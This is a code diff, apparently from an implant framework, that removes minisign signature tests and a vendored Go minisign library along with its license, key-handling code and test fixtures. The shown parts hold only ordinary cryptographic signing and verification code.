implantECCKeyPair.PrivateBase64(),
MinisignServerSign(implantECCKeyPair.Public[:]),
"",
serverECCKeyPair.PublicBase64(),
totpSecret,
MinisignServerPublicKey(),
)
}
@@ -261,54 +260,3 @@ func TestImplantECCEncryptDecryptTamperData(t *testing.T) {
t.Fatal("ecc decrypted tampered data without error")
}
}
func TestServerMinisign(t *testing.T) {
message := randomData()
privateKey := MinisignServerPrivateKey()
signature := minisign.Sign(*privateKey, message)
if !minisign.Verify(privateKey.Public().(minisign.PublicKey), message, signature) {
t.Fatalf("Failed to very message with server minisign")
}
message[0]++
if minisign.Verify(privateKey.Public().(minisign.PublicKey), message, signature) {
t.Fatalf("Minisign verified tampered message")
}
}
func TestImplantMinisign(t *testing.T) {
message := randomData()
privateKey := MinisignServerPrivateKey()
signature := minisign.Sign(*privateKey, message)
publicKey := privateKey.Public().(minisign.PublicKey)
publicKeyTxt, err := publicKey.MarshalText()
if err != nil {
t.Fatal(err)
}
implantPublicKey, err := implantCrypto.DecodeMinisignPublicKey(string(publicKeyTxt))
if err != nil {
t.Fatal(err)
}
implantSig, err := implantCrypto.DecodeMinisignSignature(string(signature))
if err != nil {
t.Fatal(err)
}
valid, err := implantPublicKey.Verify(message, implantSig)
if err != nil {
t.Fatal(err)
}
if !valid {
t.Fatal("Implant failed to verify minisign signature")
}
message[0]++
valid, err = implantPublicKey.Verify(message, implantSig)
if err == nil {
t.Fatal("Expected invalid signature error")
}
if valid {
t.Fatal("Implant verified tampered message")
}
}
-21
View File
@@ -1,21 +0,0 @@
MIT License
Copyright (c) 2021 Andreas Auernhammer
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -1 +0,0 @@
Hello World!
@@ -1,4 +0,0 @@
untrusted comment: signature from minisign secret key
RWRQhGcHOBlzwxrJCyuC+rJfHSfyRKRxkuwa3JJ0bWEs7RHjL1OUmqnTr+V1B9JzFuJIH/ybR2Eus9oEZKt9RbitpF/L4D3+5wg=
trusted comment: timestamp:1614549543 file:message.txt
P/722+ynQ+tIy0qadFHwLx5MsyNz/jDKJkDWQj4dDD2OKnVte8m/M14mwPE/1NMwzShPMSBhMXqZGdbe+UZjDg==
@@ -1,2 +0,0 @@
untrusted comment: minisign encrypted secret key
RWRTY0Iytaz5znJmUO5kBt5xVkvpBl+29A7pZH86phD4h8vD3V8AAAACAAAAAAAAAEAAAAAA9vH9EcS6NdXNIEGhYGoqG1CiL4aptyJreJ4IfuT4+1h+OgVaY/vi0HsbCP0Y6n/wcy0AN0wOXmVDPP33jZqv82YCj2fH+/6MRuAfzNQYoLvc3sH/8bIwqdfpKIjDRZhvqRf063RFYoI=
@@ -1,2 +0,0 @@
untrusted comment: minisign public key C373193807678450
RWRQhGcHOBlzw4CoKyugkk4ioDfoxlXxC9LBx+VNhJ3w9w+cAxgvPsuo
@@ -1,4 +0,0 @@
untrusted comment: signature from minisign secret key
RWQ3ly9IPenQ6XE4gvV0tpJPSRdw/Si+Q4r97LbpLj0Hb3sV+XFydynJg3iFT2PjIlE3xViNOmFT9XrIoidedDr41+Ly0AYbUQg=
trusted comment: timestamp:1617721023 file:robtest.ps1
HkxuqHSvipJo/unNKgDS+JGDB0+Q5d8nOeoJ0NGOnKBNsNdvAj8FWf7fhaPV7mzRJ1ooLvYpI0yUsD7lpaDwBQ==
-218
View File
@@ -1,218 +0,0 @@
// Copyright (c) 2021 Andreas Auernhammer. All rights reserved.
// Use of this source code is governed by a license that can be
// found in the LICENSE file.
// Package minisign implements the minisign signature scheme.
package minisign
import (
"bytes"
"crypto/ed25519"
"encoding/binary"
"hash"
"io"
"strconv"
"strings"
"time"
"golang.org/x/crypto/blake2b"
)
const (
// EdDSA refers to the Ed25519 signature scheme.
//
// Minisign uses this signature scheme to sign and
// verify (non-hashed) messages.
EdDSA uint16 = 0x6445
// HashEdDSA refers to a Ed25519 signature scheme
// with pre-hashed messages.
//
// Minisign uses this signature scheme to sign and
// verify message that don't fit into memory.
HashEdDSA uint16 = 0x4445
)
// GenerateKey generates a public/private key pair using entropy
// from random. If random is nil, crypto/rand.Reader will be used.
func GenerateKey(random io.Reader) (PublicKey, PrivateKey, error) {
pub, priv, err := ed25519.GenerateKey(random)
if err != nil {
return PublicKey{}, PrivateKey{}, err
}
id := blake2b.Sum256(pub[:])
publicKey := PublicKey{
id: binary.LittleEndian.Uint64(id[:8]),
}
copy(publicKey.bytes[:], pub)
privateKey := PrivateKey{
RawID: publicKey.ID(),
}
copy(privateKey.RawBytes[:], priv)
return publicKey, privateKey, nil
}
// Reader is an io.Reader that reads a message
// while, at the same time, computes its digest.
//
// At any point, typically at the end of the message,
// Reader can sign the message digest with a private
// key or try to verify the message with a public key
// and signature.
type Reader struct {
message io.Reader
hash hash.Hash
}
// NewReader returns a new Reader that reads from r
// and computes a digest of the read data.
func NewReader(r io.Reader) *Reader {
h, err := blake2b.New512(nil)
if err != nil {
panic(err)
}
return &Reader{
message: r,
hash: h,
}
}
// Read reads from the underlying io.Reader as specified
// by the io.Reader interface.
func (r *Reader) Read(p []byte) (int, error) {
n, err := r.message.Read(p)
r.hash.Write(p[:n])
return n, err
}
// Sign signs whatever has been read from the underlying
// io.Reader up to this point in time with the given private
// key.
//
// It behaves like SignWithComments but uses some generic comments.
func (r *Reader) Sign(privateKey PrivateKey) []byte {
var (
trustedComment = "timestamp:" + strconv.FormatInt(time.Now().Unix(), 10)
untrustedComment = "signature from private key: " + strings.ToUpper(strconv.FormatUint(privateKey.ID(), 16))
)
return r.SignWithComments(privateKey, trustedComment, untrustedComment)
}
// SignWithComments signs whatever has been read from the underlying
// io.Reader up to this point in time with the given private key.
//
// The trustedComment as well as the untrustedComment are embedded into the
// returned signature. The trustedComment is signed and will be checked
// when the signature is verified. The untrustedComment is not signed and
// must not be trusted.
//
// SignWithComments computes the digest as a snapshot. So, it is possible
// to create multiple signatures of different message prefixes by reading
// up to a certain byte, signing this message prefix, and then continue
// reading.
func (r *Reader) SignWithComments(privateKey PrivateKey, trustedComment, untrustedComment string) []byte {
const isHashed = true
return sign(privateKey, r.hash.Sum(nil), trustedComment, untrustedComment, isHashed)
}
// Verify checks whether whatever has been read from the underlying
// io.Reader up to this point in time is authentic by verifying it
// with the given public key and signature.
//
// Verify computes the digest as a snapshot. Therefore, Verify can
// verify any signature produced by Sign or SignWithComments,
// including signatures of partial messages, given the correct
// public key and signature.
func (r *Reader) Verify(publicKey PublicKey, signature []byte) bool {
const isHashed = true
return verify(publicKey, r.hash.Sum(nil), signature, isHashed)
}
// Sign signs the given message with the private key.
//
// It behaves like SignWithComments with some generic comments.
func Sign(privateKey PrivateKey, message []byte) []byte {
var (
trustedComment = "timestamp:" + strconv.FormatInt(time.Now().Unix(), 10)
untrustedComment = "signature from private key: " + strings.ToUpper(strconv.FormatUint(privateKey.ID(), 16))
)
return SignWithComments(privateKey, message, trustedComment, untrustedComment)
}
// SignWithComments signs the given message with the private key.
//
// The trustedComment as well as the untrustedComment are embedded
// into the returned signature. The trustedComment is signed and
// will be checked when the signature is verified.
// The untrustedComment is not signed and must not be trusted.
func SignWithComments(privateKey PrivateKey, message []byte, trustedComment, untrustedComment string) []byte {
const isHashed = false
return sign(privateKey, message, trustedComment, untrustedComment, isHashed)
}
// Verify checks whether message is authentic by verifying
// it with the given public key and signature. It returns
// true if and only if the signature verification is successful.
func Verify(publicKey PublicKey, message, signature []byte) bool {
const isHashed = false
return verify(publicKey, message, signature, isHashed)
}
func sign(privateKey PrivateKey, message []byte, trustedComment, untrustedComment string, isHashed bool) []byte {
var algorithm = EdDSA
if isHashed {
algorithm = HashEdDSA
}
var (
msgSignature = ed25519.Sign(ed25519.PrivateKey(privateKey.RawBytes[:]), message)
commentSignature = ed25519.Sign(ed25519.PrivateKey(privateKey.RawBytes[:]), append(msgSignature, []byte(trustedComment)...))
)
signature := Signature{
Algorithm: algorithm,
KeyID: privateKey.ID(),
TrustedComment: trustedComment,
UntrustedComment: untrustedComment,
}
copy(signature.Signature[:], msgSignature)
copy(signature.CommentSignature[:], commentSignature)
text, err := signature.MarshalText()
if err != nil {
panic(err)
}
return text
}
func verify(publicKey PublicKey, message, signature []byte, isHashed bool) bool {
var s Signature
if err := s.UnmarshalText(signature); err != nil {
return false
}
if s.KeyID != publicKey.ID() {
return false
}
if s.Algorithm == HashEdDSA && !isHashed {
h := blake2b.Sum512(message)
message = h[:]
}
if !ed25519.Verify(ed25519.PublicKey(publicKey.bytes[:]), message, s.Signature[:]) {
return false
}
globalMessage := append(s.Signature[:], []byte(s.TrustedComment)...)
return ed25519.Verify(ed25519.PublicKey(publicKey.bytes[:]), globalMessage, s.CommentSignature[:])
}
// trimUntrustedComment returns text with a potential
// untrusted comment line.
func trimUntrustedComment(text []byte) []byte {
s := bytes.SplitN(text, []byte{'\n'}, 2)
if len(s) == 2 && strings.HasPrefix(string(s[0]), "untrusted comment: ") {
return s[1]
}
return s[0]
}
@@ -1,64 +0,0 @@
// Copyright (c) 2021 Andreas Auernhammer. All rights reserved.
// Use of this source code is governed by a license that can be
// found in the LICENSE file.
package minisign
import (
"io"
"io/ioutil"
"os"
"testing"
)
func TestRoundtrip(t *testing.T) {
const Password = "correct horse battery staple"
privateKey, err := PrivateKeyFromFile(Password, "./internal/testdata/minisign.key")
if err != nil {
t.Fatalf("Failed to load private key: %v", err)
}
message, err := ioutil.ReadFile("./internal/testdata/message.txt")
if err != nil {
t.Fatalf("Failed to load message: %v", err)
}
signature := Sign(privateKey, message)
publicKey, err := PublicKeyFromFile("./internal/testdata/minisign.pub")
if err != nil {
t.Fatalf("Failed to load public key: %v", err)
}
if !Verify(publicKey, message, signature) {
t.Fatalf("Verification failed: signature %q - public key %q", signature, publicKey)
}
}
func TestReaderRoundtrip(t *testing.T) {
const Password = "correct horse battery staple"
privateKey, err := PrivateKeyFromFile(Password, "./internal/testdata/minisign.key")
if err != nil {
t.Fatalf("Failed to load private key: %v", err)
}
file, err := os.Open("./internal/testdata/message.txt")
if err != nil {
t.Fatalf("Failed to open message: %v", err)
}
defer file.Close()
reader := NewReader(file)
if _, err = io.Copy(ioutil.Discard, reader); err != nil {
t.Fatalf("Failed to read message: %v", err)
}
signature := reader.Sign(privateKey)
publicKey, err := PublicKeyFromFile("./internal/testdata/minisign.pub")
if err != nil {
t.Fatalf("Failed to load public key: %v", err)
}
if !reader.Verify(publicKey, signature) {
t.Fatalf("Verification failed: signature %q - public key %q", signature, publicKey)
}
}
-319
View File
@@ -1,319 +0,0 @@
// Copyright (c) 2021 Andreas Auernhammer. All rights reserved.
// Use of this source code is governed by a license that can be
// found in the LICENSE file.
package minisign
import (
"crypto"
"crypto/ed25519"
"crypto/rand"
"crypto/subtle"
"encoding/base64"
"encoding/binary"
"errors"
"io"
"io/ioutil"
"strconv"
"strings"
"time"
"golang.org/x/crypto/blake2b"
"golang.org/x/crypto/scrypt"
)
// PrivateKeyFromFile reads and decrypts the private key
// file with the given password.
func PrivateKeyFromFile(password, path string) (PrivateKey, error) {
bytes, err := ioutil.ReadFile(path)
if err != nil {
return PrivateKey{}, err
}
return DecryptKey(password, bytes)
}
// PrivateKey is a minisign private key.
//
// A private key can sign messages to prove the
// their origin and authenticity.
//
// PrivateKey implements the crypto.Signer interface.
type PrivateKey struct {
_ [0]func() // prevent direct comparison: p1 == p2.
RawID uint64
RawBytes [ed25519.PrivateKeySize]byte
}
func (p PrivateKey) Bytes() []byte {
return p.RawBytes[:]
}
var _ crypto.Signer = (*PrivateKey)(nil) // compiler check
// ID returns the 64 bit key ID.
func (p PrivateKey) ID() uint64 { return p.RawID }
// Public returns the corresponding public key.
func (p PrivateKey) Public() crypto.PublicKey {
var bytes [ed25519.PublicKeySize]byte
copy(bytes[:], p.RawBytes[32:])
return PublicKey{
id: p.ID(),
bytes: bytes,
}
}
// Sign signs the given message.
//
// The minisign signature scheme relies on Ed25519 and supports
// plain as well as pre-hashed messages. Therefore, opts can be
// either crypto.Hash(0) to signal that the message has not been
// hashed or crypto.BLAKE2b_512 to signal that the message is a
// BLAKE2b-512 digest. If opts is crypto.BLAKE2b_512 then message
// must be a 64 bytes long.
//
// Minisign signatures are deterministic such that no randomness
// is necessary.
func (p PrivateKey) Sign(_ io.Reader, message []byte, opts crypto.SignerOpts) (signature []byte, err error) {
var (
trustedComment = "timestamp:" + strconv.FormatInt(time.Now().Unix(), 10)
untrustedComment = "signature from private key: " + strings.ToUpper(strconv.FormatUint(p.ID(), 16))
)
switch h := opts.HashFunc(); h {
case crypto.Hash(0):
const isHashed = false
return sign(p, message, trustedComment, untrustedComment, isHashed), nil
case crypto.BLAKE2b_512:
const isHashed = true
if n := len(message); n != blake2b.Size {
return nil, errors.New("minisign: invalid message length " + strconv.Itoa(n))
}
return sign(p, message, trustedComment, untrustedComment, isHashed), nil
default:
return nil, errors.New("minisign: cannot sign messages hashed with " + strconv.Itoa(int(h)))
}
}
// Equal returns true if and only if p and x have equivalent values.
func (p PrivateKey) Equal(x crypto.PrivateKey) bool {
xx, ok := x.(PrivateKey)
if !ok {
return false
}
return p.RawID == xx.RawID && subtle.ConstantTimeCompare(p.RawBytes[:], xx.RawBytes[:]) == 1
}
const (
scryptAlgorithm = 0x6353 // hex value for "Sc"
blake2bAlgorithm = 0x3242 // hex value for "B2"
scryptOpsLimit = 0x2000000 // max. Scrypt ops limit based on libsodium
scryptMemLimit = 0x40000000 // max. Scrypt mem limit based on libsodium
privateKeySize = 158 // 2 + 2 + 2 + 32 + 8 + 8 + 104
)
// EncryptKey encrypts the private key with the given password
// using some entropy from the RNG of the OS.
func EncryptKey(password string, privateKey PrivateKey) ([]byte, error) {
var privateKeyBytes [72]byte
binary.LittleEndian.PutUint64(privateKeyBytes[:], privateKey.ID())
copy(privateKeyBytes[8:], privateKey.RawBytes[:])
var salt [32]byte
if _, err := io.ReadFull(rand.Reader, salt[:]); err != nil {
return nil, err
}
var bytes [privateKeySize]byte
binary.LittleEndian.PutUint16(bytes[0:], EdDSA)
binary.LittleEndian.PutUint16(bytes[2:], scryptAlgorithm)
binary.LittleEndian.PutUint16(bytes[4:], blake2bAlgorithm)
const ( // TODO(aead): Callers may want to customize the cost parameters
defaultOps = 33554432 // libsodium OPS_LIMIT_SENSITIVE
defaultMem = 1073741824 // libsodium MEM_LIMIT_SENSITIVE
)
copy(bytes[6:38], salt[:])
binary.LittleEndian.PutUint64(bytes[38:], defaultOps)
binary.LittleEndian.PutUint64(bytes[46:], defaultMem)
copy(bytes[54:], encryptKey(password, salt[:], defaultOps, defaultMem, privateKeyBytes[:]))
const comment = "untrusted comment: minisign encrypted secret key\n"
encodedBytes := make([]byte, len(comment)+base64.StdEncoding.EncodedLen(len(bytes)))
copy(encodedBytes, []byte(comment))
base64.StdEncoding.Encode(encodedBytes[len(comment):], bytes[:])
return encodedBytes, nil
}
var errDecrypt = errors.New("minisign: decryption failed")
// DecryptKey tries to decrypt the encrypted private key with
// the given password.
func DecryptKey(password string, privateKey []byte) (PrivateKey, error) {
privateKey = trimUntrustedComment(privateKey)
bytes := make([]byte, base64.StdEncoding.DecodedLen(len(privateKey)))
n, err := base64.StdEncoding.Decode(bytes, privateKey)
if err != nil {
return PrivateKey{}, err
}
bytes = bytes[:n]
if len(bytes) != privateKeySize {
return PrivateKey{}, errDecrypt
}
if a := binary.LittleEndian.Uint16(bytes[:2]); a != EdDSA {
return PrivateKey{}, errDecrypt
}
if a := binary.LittleEndian.Uint16(bytes[2:4]); a != scryptAlgorithm {
return PrivateKey{}, errDecrypt
}
if a := binary.LittleEndian.Uint16(bytes[4:6]); a != blake2bAlgorithm {
return PrivateKey{}, errDecrypt
}
var (
scryptOps = binary.LittleEndian.Uint64(bytes[38:46])
scryptMem = binary.LittleEndian.Uint64(bytes[46:54])
)
if scryptOps > scryptOpsLimit {
return PrivateKey{}, errDecrypt
}
if scryptMem > scryptMemLimit {
return PrivateKey{}, errDecrypt
}
var salt [32]byte
copy(salt[:], bytes[6:38])
privateKeyBytes, err := decryptKey(password, salt[:], scryptOps, scryptMem, bytes[54:])
if err != nil {
return PrivateKey{}, err
}
key := PrivateKey{
RawID: binary.LittleEndian.Uint64(privateKeyBytes[:8]),
}
copy(key.RawBytes[:], privateKeyBytes[8:])
return key, nil
}
// encryptKey encrypts the plaintext and returns a ciphertext by:
// 1. tag = BLAKE2b-256(EdDSA-const || plaintext)
// 2. keystream = Scrypt(password, salt, convert(ops, mem))
// 3. ciphertext = (plaintext || tag) ⊕ keystream
//
// Therefore, decryptKey converts the ops and mem cost parameters
// to the (N, r, p)-tuple expected by Scrypt.
//
// The plaintext must be a private key ID concatenated with a raw
// Ed25519 private key, and therefore, 72 bytes long.
func encryptKey(password string, salt []byte, ops, mem uint64, plaintext []byte) []byte {
const (
plaintextLen = 72
messageLen = 74
ciphertextLen = 104
)
N, r, p := convertScryptParameters(ops, mem)
keystream, err := scrypt.Key([]byte(password), salt, N, r, p, ciphertextLen)
if err != nil {
panic(err)
}
var message [messageLen]byte
binary.LittleEndian.PutUint16(message[:2], EdDSA)
copy(message[2:], plaintext)
checksum := blake2b.Sum256(message[:])
var ciphertext [ciphertextLen]byte
copy(ciphertext[:plaintextLen], plaintext)
copy(ciphertext[plaintextLen:], checksum[:])
for i, k := range keystream {
ciphertext[i] ^= k
}
return ciphertext[:]
}
// decryptKey decrypts the ciphertext and returns a plaintext by:
// 1. keystream = Scrypt(password, salt, convert(ops, mem))
// 2. plaintext || tag = ciphertext ⊕ keystream
// 3. Check that: tag == BLAKE2b-256(EdDSA-const || plaintext)
//
// Therefore, decryptKey converts the ops and mem cost parameters to
// the (N, r, p)-tuple expected by Scrypt.
//
// It returns an error if the ciphertext is not valid - i.e. if the
// tag does not match the BLAKE2b-256 hash value.
func decryptKey(password string, salt []byte, ops, mem uint64, ciphertext []byte) ([]byte, error) {
const (
plaintextLen = 72
messageLen = 74
ciphertextLen = 104
)
if len(ciphertext) != ciphertextLen {
return nil, errDecrypt
}
N, r, p := convertScryptParameters(ops, mem)
keystream, err := scrypt.Key([]byte(password), salt, N, r, p, ciphertextLen)
if err != nil {
return nil, err
}
var plaintext [ciphertextLen]byte
for i, k := range keystream {
plaintext[i] = ciphertext[i] ^ k
}
var (
privateKeyBytes = plaintext[:plaintextLen]
checksum = plaintext[plaintextLen:]
)
var message [messageLen]byte
binary.LittleEndian.PutUint16(message[:2], EdDSA)
copy(message[2:], privateKeyBytes)
if sum := blake2b.Sum256(message[:]); subtle.ConstantTimeCompare(sum[:], checksum[:]) != 1 {
return nil, errDecrypt
}
return privateKeyBytes, nil
}
// convertScryptParameters converts the operational and memory cost
// to the Scrypt parameters N, r and p.
//
// N is the overall memory / CPU cost and r * p has to be lower then
// 2³⁰. Refer to the scrypt.Key docs for more information.
func convertScryptParameters(ops, mem uint64) (N, r, p int) {
const (
minOps = 1 << 15
maxRP = 0x3fffffff
)
if ops < minOps {
ops = minOps
}
if ops < mem/32 {
r, p = 8, 1
for n := 1; n < 63; n++ {
if N = 1 << n; uint64(N) > (ops / (8 * uint64(r))) {
break
}
}
} else {
r = 8
for n := 1; n < 63; n++ {
if N = 1 << n; uint64(N) > (mem / (256 * uint64(r))) {
break
}
}
if rp := (ops / 4) / uint64(N); rp < maxRP {
p = int(rp) / r
} else {
p = maxRP / r
}
}
return N, r, p
}
-93
View File
@@ -1,93 +0,0 @@
package minisign
import (
"crypto"
"crypto/ed25519"
"encoding/base64"
"encoding/binary"
"errors"
"fmt"
"io/ioutil"
"strconv"
"strings"
)
// PublicKeyFromFile reads a new PublicKey from the
// given file.
func PublicKeyFromFile(path string) (PublicKey, error) {
bytes, err := ioutil.ReadFile(path)
if err != nil {
return PublicKey{}, err
}
var key PublicKey
if err = key.UnmarshalText(bytes); err != nil {
return PublicKey{}, err
}
return key, nil
}
// PublicKey is a minisign public key.
//
// A public key is used to verify whether messages
// have been signed with the corresponding private
// key.
type PublicKey struct {
_ [0]func() // prevent direct comparison: p1 == p2.
id uint64
bytes [ed25519.PublicKeySize]byte
}
// ID returns the 64 bit key ID.
func (p PublicKey) ID() uint64 { return p.id }
// Equal returns true if and only if p and x have equivalent values.
func (p PublicKey) Equal(x crypto.PublicKey) bool {
xx, ok := x.(PublicKey)
if !ok {
return false
}
return p.id == xx.id && p.bytes == xx.bytes
}
// String returns a base64 string representation of the PublicKey p.
func (p PublicKey) String() string {
var bytes [2 + 8 + ed25519.PublicKeySize]byte
binary.LittleEndian.PutUint16(bytes[:2], EdDSA)
binary.LittleEndian.PutUint64(bytes[2:10], p.ID())
copy(bytes[10:], p.bytes[:])
return base64.StdEncoding.EncodeToString(bytes[:])
}
// MarshalText returns a textual representation of the PublicKey p.
//
// It never returns an error.
func (p PublicKey) MarshalText() ([]byte, error) {
var comment = "untrusted comment: minisign public key: " + strings.ToUpper(strconv.FormatUint(p.ID(), 16)) + "\n"
return []byte(comment + p.String()), nil
}
// UnmarshalText parses text as textual-encoded public key.
// It returns an error if text is not a well-formed public key.
func (p *PublicKey) UnmarshalText(text []byte) error {
text = trimUntrustedComment(text)
bytes := make([]byte, base64.StdEncoding.DecodedLen(len(text)))
n, err := base64.StdEncoding.Decode(bytes, text)
if err != nil {
return fmt.Errorf("minisign: invalid public key: %v", err)
}
bytes = bytes[:n] // Adjust b/c text may contain '\r' or '\n' which would have been ignored during decoding.
if n = len(bytes); n != 2+8+ed25519.PublicKeySize {
return errors.New("minisign: invalid public key length " + strconv.Itoa(n))
}
if a := binary.LittleEndian.Uint16(bytes[:2]); a != EdDSA {
return errors.New("minisign: invalid public key algorithm " + strconv.Itoa(int(a)))
}
p.id = binary.LittleEndian.Uint64(bytes[2:10])
copy(p.bytes[:], bytes[10:])
return nil
}
Loaded 100 of 978 files, more files were not shown because too many files have changed in this diff. Show more